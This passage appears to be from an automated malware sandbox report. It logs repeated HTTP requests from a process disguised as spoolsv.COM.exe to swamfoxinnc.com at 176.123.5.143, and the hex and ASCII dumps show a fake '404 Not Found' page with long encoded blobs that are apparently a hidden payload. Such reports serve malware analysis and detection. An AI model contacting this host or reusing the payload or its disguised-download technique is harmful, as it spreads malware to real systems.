2024-12-23 06:39:18 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:18 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:18 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:18 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	49982	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:20 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:22 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:21 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:22 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:22 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:22 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:22 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	49994	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:24 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:25 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:25 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:25 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:25 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:25 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:25 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.10	50001	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:27 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:29 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:28 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:29 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:29 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:29 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:29 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	50012	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:31 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:32 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:32 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
